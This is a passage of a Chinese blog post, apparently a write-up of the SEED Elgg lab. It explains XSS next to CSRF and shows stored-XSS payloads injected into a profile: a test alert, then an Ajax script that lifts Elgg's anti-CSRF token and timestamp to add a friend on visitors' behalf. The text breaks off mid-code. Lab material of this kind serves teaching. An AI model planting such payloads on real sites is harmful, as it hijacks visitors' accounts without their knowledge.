XSS攻击和CSRF有类似的地方,但是他比CSRF更难防,也更常见。
CSRF是伪造一个跨站请求,他要先骗别人进入自己精心设计的网站,但是一个不被信任的第三方网站在跳转时,往往站点会贴心地提醒你有被攻击的风险。但是跨站脚本攻击不一样,它可以将代码插入一个被信任的网站的源代码中。
我们经常在逛一些奇怪的网站时发现网页中些弹窗和涩涩的广告,往往就是网站受到了攻击,网页代码中被植入攻击者的恶意代码。这种情况常见于一些被废弃的网站中,被废弃的网站由于缺乏维护,就容易受到攻击。
一.在Elgg里注入Javascript代码
实验小白鼠还是基于专门为未来的黑客们准备的Elgg社交软件,不知道的可以参见我的上一篇博客
1.登录到Samy的账户,进入profile页面
2.点击右上角的Edit HTML,进入HTML文件编辑模式,在“About Me”栏目填入以下内容
<script>alert("XSS");</script>
3.退出
4.登入Alice的账户,进入到“Members”的页面
5.访问Samy的profile,Javascript恶意代码被执行,可以看到XSS的窗口跳出
二.添加Samy为Alice的好友
1.调查
进入Charlie的账户,添加Samy为好友,使用HTTP header live捕获HTTP数据包,分析其中的字段,获得所需信息
2.登录Samy的账号,进入Edit profile页面中,进入Edit HTML模式,其中放入以下的Ajax代码
(若不进入该模式,编辑器会向代码中添加格式化数据)
<script type="text/javascript">
window.onload=function()
{
var Ajax=null;//使用Ajax实现Javascript代码,方便在后台发起HTTP请求,防止因Javascript代码发起普通HTTP请求离开当前页面,引起用户怀疑
//设置时间戳和秘密令牌值,使得请求被视为同站请求
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;//将当前页面Javascript代码中的时间戳变量值赋给elgg_ts
var token="&__elgg_token="+elgg.security.token.__elgg_token;//将当前页面Javascript代码中的秘密令牌变量值赋给elgg_ts
//创建url
var sendurl="http://www.seed-server.com/action/friends/add"//加好友的网页
+"?friend=59" + token + ts;//加上好友ID,token,ts字段构成url
//创建并发送Ajax请求加好友
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.send();
}
<